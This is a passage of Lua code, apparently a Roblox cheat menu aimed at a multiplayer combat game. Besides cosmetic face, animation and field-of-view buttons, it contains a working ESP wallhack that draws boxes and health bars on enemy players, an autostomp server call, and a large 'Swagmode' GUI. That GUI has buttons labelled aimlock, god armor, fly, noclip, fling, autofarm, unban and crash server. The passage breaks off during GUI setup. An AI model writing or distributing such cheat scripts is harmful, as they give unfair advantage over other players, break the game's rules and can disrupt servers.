L_416_:WaitForChild("face") L_417_.Texture = "rbxassetid://2409281591" end}) Tab:AddButton({Name = "Beastmode red", Callback = function() local L_412_ = game.Players.LocalPlayer.Character local L_413_ = L_412_:WaitForChild("Head") local L_414_ = L_413_:WaitForChild("face") L_414_.Texture = "rbxassetid://127959433" end}) Tab:AddButton({Name = "Yum!", Callback = function() local L_415_ = game.Players.LocalPlayer.Character local L_416_ = L_415_:WaitForChild("Head") local L_417_ = L_416_:WaitForChild("face") L_417_.Texture = "rbxassetid://26018945" end}) Tab:AddButton({Name = "Super Super Happy Face", Callback = function() local L_415_ = game.Players.LocalPlayer.Character local L_416_ = L_415_:WaitForChild("Head") local L_417_ = L_416_:WaitForChild("face") L_417_.Texture = "rbxassetid://494290547" end}) Tab:AddButton({Name = "Prankster", Callback = function() local L_415_ = game.Players.LocalPlayer.Character local L_416_ = L_415_:WaitForChild("Head") local L_417_ = L_416_:WaitForChild("face") L_417_.Texture = "rbxassetid://20052028" end}) Tab:AddButton({Name = "Troublemaker", Callback = function() local L_415_ = game.Players.LocalPlayer.Character local L_416_ = L_415_:WaitForChild("Head") local L_417_ = L_416_:WaitForChild("face") L_417_.Texture = "rbxassetid://22920500" end}) Tab:AddButton({Name = "Meanie", Callback = function() local L_415_ = game.Players.LocalPlayer.Character local L_416_ = L_415_:WaitForChild("Head") local L_417_ = L_416_:WaitForChild("face") L_417_.Texture = "rbxassetid://508490451" end}) Tab:AddButton({Name = "StitchFace", Callback = function() local L_415_ = game.Players.LocalPlayer.Character local L_416_ = L_415_:WaitForChild("Head") local L_417_ = L_416_:WaitForChild("face") L_417_.Texture = "rbxassetid://8329438" end}) Tab:AddButton({Name = "Madness Face", Callback = function() local L_415_ = game.Players.LocalPlayer.Character local L_416_ = L_415_:WaitForChild("Head") local L_417_ = L_416_:WaitForChild("face") L_417_.Texture = "rbxassetid://129900258" end}) Tab:AddButton({Name = "Korblox FE", Callback = function() game.Players.LocalPlayer.Character.RightUpperLeg:Destroy() end}) Tab:AddButton({Name = "Animation (Main)", Callback = function() local AnimationChanger = Instance.new("ScreenGui") local Main = Instance.new("Frame") local TopBar = Instance.new("Frame") local Close = Instance.new("TextButton") local TextLabel = Instance.new("TextLabel") local TextLabel_2 = Instance.new("TextLabel") local NormalTab = Instance.new("Frame") local A_Astronaut = Instance.new("TextButton") local A_Bubbly = Instance.new("TextButton") local A_Cartoony = Instance.new("TextButton") local A_Elder = Instance.new("TextButton") local A_Knight = Instance.new("TextButton") local A_Levitation = Instance.new("TextButton") local A_Mage = Instance.new("TextButton") local A_Ninja = Instance.new("TextButton") local A_Pirate = Instance.new("TextButton") local A_Robot = Instance.new("TextButton") local A_Stylish = Instance.new("TextButton") local A_SuperHero = Instance.new("TextButton") local A_Toy = Instance.new("TextButton") local A_Vampire = Instance.new("TextButton") local A_Werewolf = Instance.new("TextButton") local A_Zombie = Instance.new("TextButton") local Category = Instance.new("TextLabel") local SpecialTab = Instance.new("Frame") local A_Patrol = Instance.new("TextButton") local A_Confident = Instance.new("TextButton") local A_Popstar = Instance.new("TextButton") local A_Cowboy = Instance.new("TextButton") local A_Ghost = Instance.new("TextButton") local A_Sneaky = Instance.new("TextButton") local A_Princess = Instance.new("TextButton") local Category_2 = Instance.new("TextLabel") local OtherTab = Instance.new("Frame") local Category_3 = Instance.new("TextLabel") local A_None = Instance.new("TextButton") local A_Anthro = Instance.new("TextButton") local Animate = game.Players.LocalPlayer.Character.Animate Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=1083218792" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=1083189019" end}) Tab:AddButton({Name = "Animation Werewolf", Callback = function() local AnimationChanger = Instance.new("ScreenGui") local Main = Instance.new("Frame") local TopBar = Instance.new("Frame") local Close = Instance.new("TextButton") local TextLabel = Instance.new("TextLabel") local TextLabel_2 = Instance.new("TextLabel") local NormalTab = Instance.new("Frame") local A_Astronaut = Instance.new("TextButton") local A_Bubbly = Instance.new("TextButton") local A_Cartoony = Instance.new("TextButton") local A_Elder = Instance.new("TextButton") local A_Knight = Instance.new("TextButton") local A_Levitation = Instance.new("TextButton") local A_Mage = Instance.new("TextButton") local A_Ninja = Instance.new("TextButton") local A_Pirate = Instance.new("TextButton") local A_Robot = Instance.new("TextButton") local A_Stylish = Instance.new("TextButton") local A_SuperHero = Instance.new("TextButton") local A_Toy = Instance.new("TextButton") local A_Vampire = Instance.new("TextButton") local A_Werewolf = Instance.new("TextButton") local A_Zombie = Instance.new("TextButton") local Category = Instance.new("TextLabel") local SpecialTab = Instance.new("Frame") local A_Patrol = Instance.new("TextButton") local A_Confident = Instance.new("TextButton") local A_Popstar = Instance.new("TextButton") local A_Cowboy = Instance.new("TextButton") local A_Ghost = Instance.new("TextButton") local A_Sneaky = Instance.new("TextButton") local A_Princess = Instance.new("TextButton") local Category_2 = Instance.new("TextLabel") local OtherTab = Instance.new("Frame") local Category_3 = Instance.new("TextLabel") local A_None = Instance.new("TextButton") local A_Anthro = Instance.new("TextButton") local Animate = game.Players.LocalPlayer.Character.Animate Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682" Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=1083218792" Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=1083189019" end}) local Tab = Window:MakeTab({Name = "FOV", Icon = "rbxassetid://8850953349", PremiumOnly = false}) Tab:AddButton({Name = "FOV 120", Callback = function() workspace.CurrentCamera.FieldOfView = 120 end}) Tab:AddButton({Name = "FOV 105", Callback = function() workspace.CurrentCamera.FieldOfView = 105 end}) Tab:AddButton({Name = "FOV 80", Callback = function() workspace.CurrentCamera.FieldOfView = 80 end}) Tab:AddButton({Name = "FOV 70 (Main FOV)", Callback = function() workspace.CurrentCamera.FieldOfView = 70 end}) Tab:AddButton({Name = "FOV 40", Callback = function() workspace.CurrentCamera.FieldOfView = 40 end}) Tab:AddButton({Name = "FOV 20", Callback = function() workspace.CurrentCamera.FieldOfView = 20 end}) Tab:AddButton({Name = "FOV 1", Callback = function() workspace.CurrentCamera.FieldOfView = 1 end}) local Tab = Window:MakeTab({Name = "Visuals", Icon = "rbxassetid://8850953349", PremiumOnly = false}) Tab:AddButton({Name = "ESP ON", Callback = function() local lplr = game.Players.LocalPlayer local camera = game:GetService("Workspace").CurrentCamera local CurrentCamera = workspace.CurrentCamera local worldToViewportPoint = CurrentCamera.worldToViewportPoint local HeadOff = Vector3.new(0, 0.5, 0) local LegOff = Vector3.new(0,3,0) for i,v in pairs(game.Players:GetChildren()) do local BoxOutline = Drawing.new("Square") BoxOutline.Visible = false BoxOutline.Color = Color3.new(0,0,0) BoxOutline.Thickness = 3 BoxOutline.Transparency = 1 BoxOutline.Filled = false local Box = Drawing.new("Square") Box.Visible = false Box.Color = Color3.new(1,1,1) Box.Thickness = 1 Box.Transparency = 1 Box.Filled = false local HealthBarOutline = Drawing.new("Square") HealthBarOutline.Thickness = 3 HealthBarOutline.Filled = false HealthBarOutline.Color = Color3.new(225,0,0) HealthBarOutline.Transparency = 1 HealthBarOutline.Visible = false local HealthBar = Drawing.new("Square") HealthBar.Thickness = 1 HealthBar.Filled = false HealthBar.Transparency = 1 HealthBar.Visible = false function boxesp() game:GetService("RunService").RenderStepped:Connect(function() if v.Character ~= nil and v.Character:FindFirstChild("Humanoid") ~= nil and v.Character:FindFirstChild("HumanoidRootPart") ~= nil and v ~= lplr and v.Character.Humanoid.Health > 0 then local Vector, onScreen = camera:worldToViewportPoint(v.Character.HumanoidRootPart.Position) local RootPart = v.Character.HumanoidRootPart local Head = v.Character.Head local RootPosition, RootVis = worldToViewportPoint(CurrentCamera, RootPart.Position) local HeadPosition = worldToViewportPoint(CurrentCamera, Head.Position + HeadOff) local LegPosition = worldToViewportPoint(CurrentCamera, RootPart.Position - LegOff) if onScreen then BoxOutline.Size = Vector2.new(1000 / RootPosition.Z, HeadPosition.Y - LegPosition.Y) BoxOutline.Position = Vector2.new(RootPosition.X - BoxOutline.Size.X / 2, RootPosition.Y - BoxOutline.Size.Y / 2) BoxOutline.Visible = true Box.Size = Vector2.new(1000 / RootPosition.Z, HeadPosition.Y - LegPosition.Y) Box.Position = Vector2.new(RootPosition.X - Box.Size.X / 2, RootPosition.Y - Box.Size.Y / 2) Box.Visible = true HealthBarOutline.Size = Vector2.new(2, HeadPosition.Y - LegPosition.Y) HealthBarOutline.Position = BoxOutline.Position - Vector2.new(6,0) HealthBarOutline.Visible = true HealthBar.Size = Vector2.new(2, (HeadPosition.Y - LegPosition.Y) / (game:GetService("Players")[v.Character.Name].NRPBS["MaxHealth"].Value / math.clamp(game:GetService("Players")[v.Character.Name].NRPBS["Health"].Value, 0, game:GetService("Players")[v.Character.Name].NRPBS:WaitForChild("MaxHealth").Value))) HealthBar.Position = Vector2.new(Box.Position.X - 6, Box.Position.Y + (1 / HealthBar.Size.Y)) HealthBar.Color = Color3.fromRGB(255 - 255 / (game:GetService("Players")[v.Character.Name].NRPBS["MaxHealth"].Value / game:GetService("Players")[v.Character.Name].NRPBS["Health"].Value), 255 / (game:GetService("Players")[v.Character.Name].NRPBS["MaxHealth"].Value / game:GetService("Players")[v.Character.Name].NRPBS["Health"].Value), 0) HealthBar.Visible = true if v.TeamColor == lplr.TeamColor then --- Our Team BoxOutline.Visible = false Box.Visible = false HealthBarOutline.Visible = false HealthBar.Visible = false else ---Enemy Team BoxOutline.Visible = true Box.Visible = true HealthBarOutline.Visible = true HealthBar.Visible = true end else BoxOutline.Visible = false Box.Visible = false HealthBarOutline.Visible = false HealthBar.Visible = false end else BoxOutline.Visible = false Box.Visible = false HealthBarOutline.Visible = false HealthBar.Visible = false end end) end coroutine.wrap(boxesp)() end game.Players.PlayerAdded:Connect(function(v) local BoxOutline = Drawing.new("Square") BoxOutline.Visible = false BoxOutline.Color = Color3.new(0,0,0) BoxOutline.Thickness = 3 BoxOutline.Transparency = 1 BoxOutline.Filled = false local Box = Drawing.new("Square") Box.Visible = false Box.Color = Color3.new(1,1,1) Box.Thickness = 1 Box.Transparency = 1 Box.Filled = false local HealthBarOutline = Drawing.new("Square") HealthBarOutline.Thickness = 3 HealthBarOutline.Filled = false HealthBarOutline.Color = Color3.new(0,0,0) HealthBarOutline.Transparency = 1 HealthBarOutline.Visible = false local HealthBar = Drawing.new("Square") HealthBar.Thickness = 1 HealthBar.Filled = false HealthBar.Transparency = 1 HealthBar.Visible = false function boxesp() game:GetService("RunService").RenderStepped:Connect(function() if v.Character ~= nil and v.Character:FindFirstChild("Humanoid") ~= nil and v.Character:FindFirstChild("HumanoidRootPart") ~= nil and v ~= lplr and v.Character.Humanoid.Health > 0 then local Vector, onScreen = camera:worldToViewportPoint(v.Character.HumanoidRootPart.Position) local RootPart = v.Character.HumanoidRootPart local Head = v.Character.Head local RootPosition, RootVis = worldToViewportPoint(CurrentCamera, RootPart.Position) local HeadPosition = worldToViewportPoint(CurrentCamera, Head.Position + HeadOff) local LegPosition = worldToViewportPoint(CurrentCamera, RootPart.Position - LegOff) if onScreen then BoxOutline.Size = Vector2.new(1000 / RootPosition.Z, HeadPosition.Y - LegPosition.Y) BoxOutline.Position = Vector2.new(RootPosition.X - BoxOutline.Size.X / 2, RootPosition.Y - BoxOutline.Size.Y / 2) BoxOutline.Visible = true Box.Size = Vector2.new(1000 / RootPosition.Z, HeadPosition.Y - LegPosition.Y) Box.Position = Vector2.new(RootPosition.X - Box.Size.X / 2, RootPosition.Y - Box.Size.Y / 2) Box.Visible = true HealthBarOutline.Size = Vector2.new(2, HeadPosition.Y - LegPosition.Y) HealthBarOutline.Position = BoxOutline.Position - Vector2.new(6,0) HealthBarOutline.Visible = true HealthBar.Size = Vector2.new(2, (HeadPosition.Y - LegPosition.Y) / (game:GetService("Players")[v.Character.Name].NRPBS["MaxHealth"].Value / math.clamp(game:GetService("Players")[v.Character.Name].NRPBS["Health"].Value, 0, game:GetService("Players")[v.Character.Name].NRPBS:WaitForChild("MaxHealth").Value))) HealthBar.Position = Vector2.new(Box.Position.X - 6, Box.Position.Y + (1/HealthBar.Size.Y)) HealthBar.Color = Color3.fromRGB(255 - 255 / (game:GetService("Players")[v.Character.Name].NRPBS["MaxHealth"].Value / game:GetService("Players")[v.Character.Name].NRPBS["Health"].Value), 255 / (game:GetService("Players")[v.Character.Name].NRPBS["MaxHealth"].Value / game:GetService("Players")[v.Character.Name].NRPBS["Health"].Value), 0) HealthBar.Visible = true if v.TeamColor == lplr.TeamColor then --- Our Team BoxOutline.Visible = false Box.Visible = false HealthBarOutline.Visible = false HealthBar.Visible = false else ---Enemy Team BoxOutline.Visible = true Box.Visible = true HealthBarOutline.Visible = true HealthBar.Visible = true end else BoxOutline.Visible = false Box.Visible = false HealthBarOutline.Visible = false HealthBar.Visible = false end else BoxOutline.Visible = false Box.Visible = false HealthBarOutline.Visible = false HealthBar.Visible = false end end) end coroutine.wrap(boxesp)() end) end}) local Tab = Window:MakeTab({Name = "Others", Icon = "rbxassetid://8850953349", PremiumOnly = false}) Tab:AddButton({Name = "Antibag", Callback = function() game.Players.LocalPlayer.Character["Christmas_Sock"]:Destroy() end}) Tab:AddButton({Name = "Autostomp", Callback = function() game.ReplicatedStorage.MainEvent:FireServer("Stomp") end}) Tab:AddButton({Name = "Swagmode", Callback = function() if not game:IsLoaded() then game.Loaded:Wait() end local success,err = pcall(function() local Swagmode = Instance.new("ScreenGui") local SwagmodeFrame = Instance.new("Frame") local MenuFrame = Instance.new("Frame") local TogglesButton = Instance.new("TextButton") local QuickTpButton = Instance.new("TextButton") local SideButton = Instance.new("TextButton") local imiecredits = Instance.new("TextLabel") local Swagmode_2 = Instance.new("TextLabel") local UIGradient = Instance.new("UIGradient") local Frame = Instance.new("Frame") local MainButton = Instance.new("TextButton") local SellingButton = Instance.new("TextButton") local DropShadowHolder = Instance.new("Frame") local DropShadow = Instance.new("ImageLabel") local TopLine = Instance.new("Frame") local SideInfo = Instance.new("Frame") local TargetImage = Instance.new("ImageLabel") local UICorner = Instance.new("UICorner") local SetNearestButton = Instance.new("TextButton") local CashLabel = Instance.new("TextLabel") local TargetTextbox = Instance.new("TextBox") local BountyLabel = Instance.new("TextLabel") local CrewLabel = Instance.new("TextButton") local Buttons = Instance.new("Frame") local MainFrame = Instance.new("Frame") local FreeFists = Instance.new("TextButton") local GodBlock = Instance.new("TextButton") local GodArmor = Instance.new("TextButton") local FlySpeedMinus = Instance.new("TextButton") local Fly = Instance.new("TextButton") local Fling = Instance.new("TextButton") local NoRecoil = Instance.new("TextButton") local GoTo = Instance.new("TextButton") local View = Instance.new("TextButton") local Target = Instance.new("TextButton") local FlySpeedPlus = Instance.new("TextButton") local NoClip = Instance.new("TextButton") local FlyMode = Instance.new("TextButton") local Reach = Instance.new("TextButton") local Headless = Instance.new("TextButton") local QuickTpFrame = Instance.new("Frame") local GunShop2 = Instance.new("TextButton") local PrevPosition = Instance.new("TextButton") local Bank = Instance.new("TextButton") local SafeZone1 = Instance.new("TextButton") local SetSpawn = Instance.new("TextButton") local Sewer = Instance.new("TextButton") local Playground = Instance.new("TextButton") local GasStation = Instance.new("TextButton") local LavaBase = Instance.new("TextButton") local SavePos = Instance.new("TextButton") local SafeZone2 = Instance.new("TextButton") local UFO = Instance.new("TextButton") local TacoShop = Instance.new("TextButton") local LoadPos = Instance.new("TextButton") local GunShop1 = Instance.new("TextButton") local SideScriptsFrame = Instance.new("Frame") local Aimlock = Instance.new("TextButton") local Users = Instance.new("TextButton") local MoneyESP = Instance.new("TextButton") local FullGod = Instance.new("TextButton") local Autofarm = Instance.new("TextButton") local HighTool = Instance.new("TextButton") local Esp = Instance.new("TextButton") local LastingBullets = Instance.new("TextButton") local Stamina = Instance.new("TextButton") local Spin = Instance.new("TextButton") local Unban = Instance.new("TextButton") local SwagUsers = Instance.new("TextButton") local LockTools = Instance.new("TextButton") local Invisible = Instance.new("TextButton") local InfTools = Instance.new("TextButton") local TogglesFrame = Instance.new("Frame") local QToTp = Instance.new("TextButton") local QToTpColor = Instance.new("TextLabel") local HideBlock = Instance.new("TextButton") local HideBlockColor = Instance.new("TextLabel") local HideUser = Instance.new("TextButton") local HideUserColor = Instance.new("TextLabel") local AutoStomp = Instance.new("TextButton") local AutoStompColor = Instance.new("TextLabel") local RocketRide = Instance.new("TextButton") local RocketRideColor = Instance.new("TextLabel") local AntiArrest = Instance.new("TextButton") local AntiArrestColor = Instance.new("TextLabel") local AntiGrab = Instance.new("TextButton") local AntiGrabColor = Instance.new("TextLabel") local AutoDrop = Instance.new("TextButton") local AutoDropColor = Instance.new("TextLabel") local AntiStomp = Instance.new("TextButton") local AntiStompColor = Instance.new("TextLabel") local AutoBlock = Instance.new("TextButton") local AutoBlockColor = Instance.new("TextLabel") local CashAura = Instance.new("TextButton") local CashAuraColor = Instance.new("TextLabel") local AntiEffects = Instance.new("TextButton") local AntiEffectsColor = Instance.new("TextLabel") local AltArmor = Instance.new("TextButton") local AltArmorColor = Instance.new("TextLabel") local AntiBag = Instance.new("TextButton") local AntiBagColor = Instance.new("TextLabel") local AntiSlow = Instance.new("TextButton") local AntiSlowColor = Instance.new("TextLabel") local SellingFrame = Instance.new("Frame") local CashTextbox = Instance.new("TextBox") local CashDropperTitle = Instance.new("TextLabel") local CalculateButton = Instance.new("TextButton") local DropToggleButton = Instance.new("TextButton") local CashDroppedLabel = Instance.new("TextLabel") local CashAtEndLabel = Instance.new("TextLabel") local Frame_2 = Instance.new("Frame") local CrashServerButton = Instance.new("TextButton") --Properties: Swagmode.Name = "Swagmode" Swagmode.Parent = game.CoreGui Swagmode.ZIndexBehavior = Enum.ZIndexBehavior.Sibling SwagmodeFrame.Name = "SwagmodeFrame" SwagmodeFrame.Parent = Swagmode SwagmodeFrame.BackgroundColor3 = Color3.fromRGB(60, 60, 60) SwagmodeFrame.BorderSizePixel = 0 SwagmodeFrame.Position = UDim2.new(0.212884605, 0, 0.190036908, 0) SwagmodeFrame.Size = UDim2.new(0, 605, 0, 336) MenuFrame.Name = "MenuFrame" MenuFrame.Parent = SwagmodeFrame MenuFrame.BackgroundColor3 = Color3.fromRGB(10, 10, 10) MenuFrame.BorderSizePixel = 0 MenuFrame.Size = UDim2.new(0, 155, 0, 336) TogglesButton.Name = "TogglesButton" TogglesButton.Parent = MenuFrame TogglesButton.BackgroundColor3 = Color3.fromRGB(20, 20, 20) TogglesButton.BorderSizePixel = 0 TogglesButton.Position = UDim2.new(0.0922105312, 0, 0.440625668, 0) TogglesButton.Size = UDim2.new(0, 123, 0, 31) TogglesButton.AutoButtonColor = false TogglesButton.Font = Enum.Font.GothamBlack TogglesButton.Text = "Toggles" TogglesButton.TextColor3 = Color3.fromRGB(255, 255, 255) TogglesButton.TextSize = 14.000 QuickTpButton.Name = "QuickTpButton" QuickTpButton.Parent = MenuFrame QuickTpButton.BackgroundColor3 = Color3.fromRGB(20, 20, 20) QuickTpButton.BorderSizePixel = 0 QuickTpButton.Position = UDim2.new(0.0922105312, 0, 0.573581994, 0) QuickTpButton.Size = UDim2.new(0, 123, 0, 31) QuickTpButton.AutoButtonColor = false QuickTpButton.Font = Enum.Font.GothamBlack QuickTpButton.Text = "Quick TP" QuickTpButton.TextColor3 = Color3.fromRGB(255, 255, 255) QuickTpButton.TextSize = 14.000 SideButton.Name = "SideButton" SideButton.Parent = MenuFrame SideButton.BackgroundColor3 = Color3.fromRGB(20, 20, 20) SideButton.BorderSizePixel = 0 SideButton.Position = UDim2.new(0.0922105312, 0, 0.307098716, 0) SideButton.Size = UDim2.new(0, 123, 0, 31) SideButton.AutoButtonColor = false SideButton.Font = Enum.Font.GothamBlack SideButton.Text = "Side Scripts" SideButton.TextColor3 = Color3.fromRGB(255, 255, 255) SideButton.TextSize = 14.000 imiecredits.Name = "imiecredits" imiecredits.Parent = MenuFrame imiecredits.BackgroundColor3 = Color3.fromRGB(255, 255, 255) imiecredits.BackgroundTransparency = 1.000 imiecredits.BorderSizePixel = 0 imiecredits.Position = UDim2.new(0.0507245474, 0, 0.854166687, 0) imiecredits.Size = UDim2.new(0, 137, 0, 48) imiecredits.Font = Enum.Font.GothamBold imiecredits.Text = "credits" imiecredits.TextColor3 = Color3.fromRGB(255, 255, 255) imiecredits.TextSize = 14.000 imiecredits.TextXAlignment = Enum.TextXAlignment.Left imiecredits.TextYAlignment = Enum.TextYAlignment.Top Swagmode_2.Name = "Swagmode" Swagmode_2.Parent = MenuFrame Swagmode_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Swagmode_2.BackgroundTransparency = 1.000 Swagmode_2.Position = UDim2.new(0.045161292, 0, 0, 0) Swagmode_2.Size = UDim2.new(0, 115, 0, 34) Swagmode_2.Font = Enum.Font.GothamBlack Swagmode_2.Text = "SWAGMODE" Swagmode_2.TextColor3 = Color3.fromRGB(255, 255, 255) Swagmode_2.TextSize = 20.000 UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(49, 48, 70)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))} UIGradient.Offset = Vector2.new(0.100000001, 0) UIGradient.Parent = Swagmode_2 Frame.Parent = MenuFrame Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame.BorderSizePixel = 0 Frame.Position = UDim2.new(0.045161292, 0, 0.092261903, 0) Frame.Size = UDim2.new(0, 126, 0, 3) MainButton.Name = "MainButton" MainButton.Parent = MenuFrame MainButton.BackgroundColor3 = Color3.fromRGB(20, 20, 20) MainButton.BorderSizePixel = 0 MainButton.Position = UDim2.new(0.0922105238, 0, 0.178689778, 0) MainButton.Size = UDim2.new(0, 123, 0, 31) MainButton.AutoButtonColor = false MainButton.Font = Enum.Font.GothamBlack MainButton.Text = "Main Scripts" MainButton.TextColor3 = Color3.fromRGB(255, 255, 255) MainButton.TextSize = 14.000 SellingButton.Name = "SellingButton" SellingButton.Parent = MenuFrame SellingButton.BackgroundColor3 = Color3.fromRGB(20, 20, 20) SellingButton.BorderSizePixel = 0 SellingButton.Position = UDim2.new(0.0986621454, 0, 0.716439128, 0) SellingButton.Size = UDim2.new(0, 123, 0, 31) SellingButton.AutoButtonColor = false SellingButton.Font = Enum.Font.GothamBlack SellingButton.Text = "Selling Tools" SellingButton.TextColor3 = Color3.fromRGB(255, 255, 255) SellingButton.TextSize = 14.000 DropShadowHolder.Name = "DropShadowHolder" DropShadowHolder.Parent = SwagmodeFrame DropShadowHolder.BackgroundTransparency = 1.000 DropShadowHolder.BorderSizePixel = 0 DropShadowHolder.Size = UDim2.new(1, 0, 1, 0) DropShadowHolder.ZIndex = 0 DropShadow.Name = "DropShadow" DropShadow.Parent = DropShadowHolder DropShadow.AnchorPoint = Vector2.new(0.5, 0.5) DropShadow.BackgroundTransparency = 1.000 DropShadow.BorderSizePixel = 0 DropShadow.Position = UDim2.new(0.5, 0, 0.5, 0) DropShadow.Size = UDim2.new(1, 47, 1, 47) DropShadow.ZIndex = 0 DropShadow.Image = "rbxassetid://6015897843" DropShadow.ImageColor3 = Color3.fromRGB(0, 0, 0) DropShadow.ImageTransparency = 0.200 DropShadow.ScaleType = Enum.ScaleType.Slice DropShadow.SliceCenter = Rect.new(49, 49, 450, 450) TopLine.Name = "TopLine" TopLine.Parent = SwagmodeFrame TopLine.BackgroundColor3 = Color3.fromRGB(10, 10, 10) TopLine.BorderSizePixel = 0 TopLine.Position = UDim2.new(0.256198347, 0, 0, 0) TopLine.Size = UDim2.new(0, 450, 0, 7) SideInfo.Name = "SideInfo" SideInfo.Parent = SwagmodeFrame SideInfo.BackgroundColor3 = Color3.fromRGB(10, 10, 10) SideInfo.BorderSizePixel = 0 SideInfo.Position = UDim2.new(0.778512418, 0, 0.020833334, 0) SideInfo.Size = UDim2.new(0, 134, 0, 329) TargetImage.Name = "TargetImage" TargetImage.Parent = SideInfo TargetImage.BackgroundColor3 = Color3.fromRGB(30, 30, 30) TargetImage.Position = UDim2.new(0.0950299203, 0, 0.0244709235, 0) TargetImage.Size = UDim2.new(0, 108, 0, 104) TargetImage.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png" TargetImage.ImageColor3 = Color3.fromRGB(300, 300, 300) UICorner.CornerRadius = UDim.new(0, 500) UICorner.Parent = TargetImage SetNearestButton.Name = "SetNearestButton" SetNearestButton.Parent = SideInfo SetNearestButton.BackgroundColor3 = Color3.fromRGB(20, 20, 20) SetNearestButton.BorderSizePixel = 0 SetNearestButton.Position = UDim2.new(0.072641857, 0, 0.851063848, 0) SetNearestButton.Size = UDim2.new(0, 114, 0, 29) SetNearestButton.AutoButtonColor = false SetNearestButton.Font = Enum.Font.GothamBlack SetNearestButton.Text = "Set Nearest" SetNearestButton.TextColor3 = Color3.fromRGB(255, 255, 255) SetNearestButton.TextSize = 14.000 CashLabel.Name = "CashLabel" CashLabel.Parent = SideInfo CashLabel.BackgroundColor3 = Color3.fromRGB(20, 20, 20) CashLabel.BorderSizePixel = 0 CashLabel.Position = UDim2.new(0.072641857, 0, 0.519756854, 0) CashLabel.Size = UDim2.new(0, 115, 0, 26) CashLabel.Font = Enum.Font.SourceSans CashLabel.Text = "Cash:" CashLabel.TextColor3 = Color3.fromRGB(72, 72, 72) CashLabel.TextSize = 14.000 TargetTextbox.Name = "TargetTextbox" TargetTextbox.Parent = SideInfo TargetTextbox.BackgroundColor3 = Color3.fromRGB(20, 20, 20) TargetTextbox.BorderSizePixel = 0 TargetTextbox.Position = UDim2.new(0.072641857, 0, 0.392097205, 0) TargetTextbox.Size = UDim2.new(0, 115, 0, 31) TargetTextbox.Font = Enum.Font.GothamBlack TargetTextbox.PlaceholderColor3 = Color3.fromRGB(255, 255, 255) TargetTextbox.Text = "" TargetTextbox.TextColor3 = Color3.fromRGB(255, 255, 255) TargetTextbox.TextSize = 14.000 TargetTextbox.TextWrapped = true TargetTextbox.TextScaled = true BountyLabel.Name = "BountyLabel" BountyLabel.Parent = SideInfo BountyLabel.BackgroundColor3 = Color3.fromRGB(20, 20, 20) BountyLabel.BorderSizePixel = 0 BountyLabel.Position = UDim2.new(0.072641857, 0, 0.633550763, 0) BountyLabel.Size = UDim2.new(0, 115, 0, 26) BountyLabel.Font = Enum.Font.SourceSans BountyLabel.Text = "Bounty:" BountyLabel.TextColor3 = Color3.fromRGB(72, 72, 72) BountyLabel.TextSize = 14.000 CrewLabel.Name = "CrewLabel" CrewLabel.Parent = SideInfo CrewLabel.BackgroundColor3 = Color3.fromRGB(20, 20, 20) CrewLabel.BorderSizePixel = 0 CrewLabel.Position = UDim2.new(0.072641857, 0, 0.737304032, 0) CrewLabel.Size = UDim2.new(0, 115, 0, 26) CrewLabel.Font = Enum.Font.SourceSans CrewLabel.Text = "Crew:" CrewLabel.TextColor3 = Color3.fromRGB(72, 72, 72) CrewLabel.TextSize = 14.000 CrewLabel.TextScaled = true Buttons.Name = "Buttons" Buttons.Parent = SwagmodeFrame Buttons.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Buttons.BackgroundTransparency = 1.000 Buttons.Position = UDim2.new(0.256198347, 0, 0.0297619049, 0) Buttons.Size = UDim2.new(0, 316, 0, 325) MainFrame.Name = "MainFrame" MainFrame.Parent = Buttons MainFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) MainFrame.BackgroundTransparency = 1.000 MainFrame.Size = UDim2.new(0, 316, 0, 325) MainFrame.Visible = true FreeFists.Name = "FreeFists" FreeFists.Parent = MainFrame FreeFists.BackgroundColor3 = Color3.fromRGB(10, 10, 10) FreeFists.BorderSizePixel = 0 FreeFists.Position = UDim2.new(0.0218890235, 0, 0.590557039, 0) FreeFists.Size = UDim2.new(0, 94, 0, 46) FreeFists.Font = Enum.Font.GothamBlack FreeFists.Text = "FreeFists(T)" FreeFists.TextColor3 = Color3.fromRGB(255, 255, 255) FreeFists.TextSize = 14.000 GodBlock.Name = "GodBlock" GodBlock.Parent = MainFrame GodBlock.BackgroundColor3 = Color3.fromRGB(10, 10, 10) GodBlock.BorderSizePixel = 0 GodBlock.Position = UDim2.new(0.0251458082, 0, 0.0399999991, 0) GodBlock.Size = UDim2.new(0, 94, 0, 46) GodBlock.Font = Enum.Font.GothamBlack GodBlock.Text = "GodBlock" GodBlock.TextColor3 = Color3.fromRGB(255, 255, 255) GodBlock.TextSize = 14.000 GodArmor.Name = "GodArmor" GodArmor.Parent = MainFrame GodArmor.BackgroundColor3 = Color3.fromRGB(10, 10, 10) GodArmor.BorderSizePixel = 0 GodArmor.Position = UDim2.new(0.024917312, 0, 0.221326202, 0) GodArmor.Size = UDim2.new(0, 94, 0, 46) GodArmor.Font = Enum.Font.GothamBlack GodArmor.Text = "GodArmor" GodArmor.TextColor3 = Color3.fromRGB(255, 255, 255) GodArmor.TextSize = 14.000 FlySpeedMinus.Name = "FlySpeedMinus" FlySpeedMinus.Parent = MainFrame FlySpeedMinus.BackgroundColor3 = Color3.fromRGB(10, 10, 10) FlySpeedMinus.BorderSizePixel = 0 FlySpeedMinus.Position = UDim2.new(0.0218890235, 0, 0.762864709, 0) FlySpeedMinus.Size = UDim2.new(0, 94, 0, 46) FlySpeedMinus.Font = Enum.Font.GothamBlack FlySpeedMinus.Text = "FlySpeed -" FlySpeedMinus.TextColor3 = Color3.fromRGB(255, 255, 255) FlySpeedMinus.TextSize = 14.000 Fly.Name = "Fly" Fly.Parent = MainFrame Fly.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Fly.BorderSizePixel = 0 Fly.Position = UDim2.new(0.351977378, 0, 0.762864709, 0) Fly.Size = UDim2.new(0, 94, 0, 46) Fly.Font = Enum.Font.GothamBlack 